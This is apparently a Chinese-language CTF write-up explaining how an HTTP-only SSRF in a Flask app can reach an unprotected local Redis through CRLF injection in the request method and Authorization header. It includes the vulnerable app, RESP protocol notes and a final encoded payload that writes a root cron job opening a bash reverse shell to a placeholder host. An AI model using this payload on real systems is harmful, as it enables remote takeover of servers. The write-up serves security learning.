author: bilala
0x00 前言
这两天写了一道利用ssrf攻击redis服务的题,一般我们接触到的都是用gopher协议去打,不过这个题限制了我们只允许使用http协议。毕竟以前都是直接用gopherus直接生成的payload,也是在写了这道题后才了解了好多原理(过程很坎坷就是了www)
题目地址:https://github.com/smarx/hashcache-ctf
为了方便分析,本地写一个类似的(需要重写一下request和http请求):
from flask import Flask, request
import urllib
app = Flask(__name__)
@app.route('/')
def index():
return "service start"
@app.route('/vul')
def vul():
# 本地没强制要求http,不过自己心里知道就行
url = request.args.get('url')
method = request.args.get('method')
if url is None:
return "please input url"
if method is None:
method = "GET"
auth = request.args.get('auth')
if auth is None:
auth = ""
headers = {"Authorization": auth}
try:
req = urllib.request.Request(url=url, method=method.upper(), headers=headers)
resp = urllib.request.urlopen(req)
return resp.read()
except urllib.error.URLError as e:
print(e)
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
0x01 环境分析
查看redis.conf
,发现其中并没有设置密码,不过他的protected-mode
是yes
,传统的redis未授权服务,这里都是no
,所以我们要知道这个yes拦截了什么,看conf文件中对这个属性的介绍
63 # Protected mode is a layer of security protection, in order to avoid that
64 # Redis instances left open on the internet are accessed and exploited.
65 #
66 # When protected mode is on and if:
67 #
68 # 1) The server is not binding explicitly to a set of addresses using the
69 # "bind" directive.
70 # 2) No password is configured.
71 #
72 # The server only accepts connections from clients connecting from the
73 # IPv4 and IPv6 loopback addresses 127.0.0.1 and ::1, and from Unix domain
74 # sockets.
75 #
76 # By default protected mode is enabled. You should disable it only if
77 # you are sure you want clients from other hosts to connect to Redis
78 # even if no authentication is configured, nor a specific set of interfaces
79 # are explicitly listed using the "bind" directive.
可以看到在开启保护模式后,如果bind 127.0.0.1
且没有密码,那么redis服务将只能从redis-cli
访问,恰巧题目中满足这两个条件,并且题目的ssrf只能发起http请求,这似乎看起来是无解了。
我们尝试传入http://192.168.12.146:5000/vul?url=http://127.0.0.1:6379/
再查看redis的日志
Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
看起来像是我们的请求被拦截了,这显然很符合我们的预期,不过我们可以看看请求是在何时被拦截的
先监听本地的某个端口,再用题目的请求去发送,看看请求包内容
\# nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:12345
User-Agent: Python-urllib/3.6
Authorization:
Connection: close
我们再连接到6379端口,按行发送请求
可以看到在Host请求这行后就断开了连接,所以我们能利用的只有在这之前,当然在这之前最好先了解一下RESP协议
0x02 RESP协议
我们先在本地抓一个redis的数据包
tcpdump -i lo port 6379 -w redis.pcap
然后在本地用redis-cli
连进去
结束后,记得在监听的那里ctrl+c
结束,然后分析数据包
可以看到在箭头所指部分是我们所发送的数据,这个时候再去看官方文档http://www.redis.cn/topics/protocol.html
大致说一下,*
代表参数的个数,$
表示字符串的长度,每个不同的命令之间要用\r\n
隔开
0x03 题目分析
根据上述分析,为了将我们的数据传送到redis,我们需要使用CRLF注入,但是在host时我们请求就被截断了,所以我们要找我们可控的地方
- url:这个随我们输入,并且影响的是host前面的行,可以试试
- method:这个也不用说了,就是最前边的GET或者POST,更可控了
- Authorization:这个虽然可控,但是他在host行之后,所以不做考虑
url
我们先使用url,传入url=http://127.0.0.1:6379/%0d%0abilala&method=get&auth=
很可惜的是httpClient
不允许url中有\r\n
,所以这里我们只能放弃
method
这里似乎是最后一个选择了,不过我们也只能试试究竟是否行得通
url=http://127.0.0.1:6379/&method=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname%0d%0a&auth=
为了查看结果,同样在本地抓包
可以看到这里可以成功实现CRLF注入的,返回$-1的原因是因为redis中没有NAME
这个键。
到这里我们已经可以实现运行reids命令了,可是问题出现在了method.upper
,如果我们希望弹shell,那么这就不能成功了,毕竟bash -i
和BASH -I
的差别还是很大的,所以我们仍需进一步挖掘
0x04 Authorization注入
上边我们说了,Authorization
在host行之后,这显然是没什么可以利用的,在host行之后, 请求就被断开了,仿佛又是一个死胡同。
想想刚刚我们可以利用的redis命令,或许我们可以把host及之后的行都当成字符串处理!这个想法真的很妙
我们刚刚是将$4
指向了NAME
,现在我们可以写一个$88
来指向下面的几行,这样host将不会被当作http请求发送过去,那我们的Authorization
又可以用来CRLF注入了
同样的在本地抓个包,传入数据为:url=http://127.0.0.1:6379/&method=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%2488%0d%0a&auth=%0d%0a*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname
看包
完美执行!返回了name的值222
剩下的就是构造payload完成反弹shell了
0x05 最终payload
到这里的话,本地的分析就结束了,这题的最后还有一步,参考https://smarx.com/posts/2020/09/ssrf-to-redis-ctf-solution/
本地这个如果需要弹shell:
url=http://127.0.0.1:6379/&method=
*3%0D%0A%243%0d%0aset%0D%0A%241%0D%0Aa%0D%0A%2488%0d%0a&auth=%0d%0a*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$2%0D%0Axx%0D%0A$55%0D%0A%0A*/1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/xxx.xx.x.xx/2222%200%3E%261%0A%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
0x06 总结/收获
- 在redis中启用
protected-mode
后,若无密码,且bind绑定本地,那么reids服务只能从redis-cli访问 - RESP协议数据规范与传输规范
- httpClient中不允许有
\r\n
- 0x04中,思路打开,这种利用方式太妙了
- redis写计划任务反弹shell
Comments | NOTHING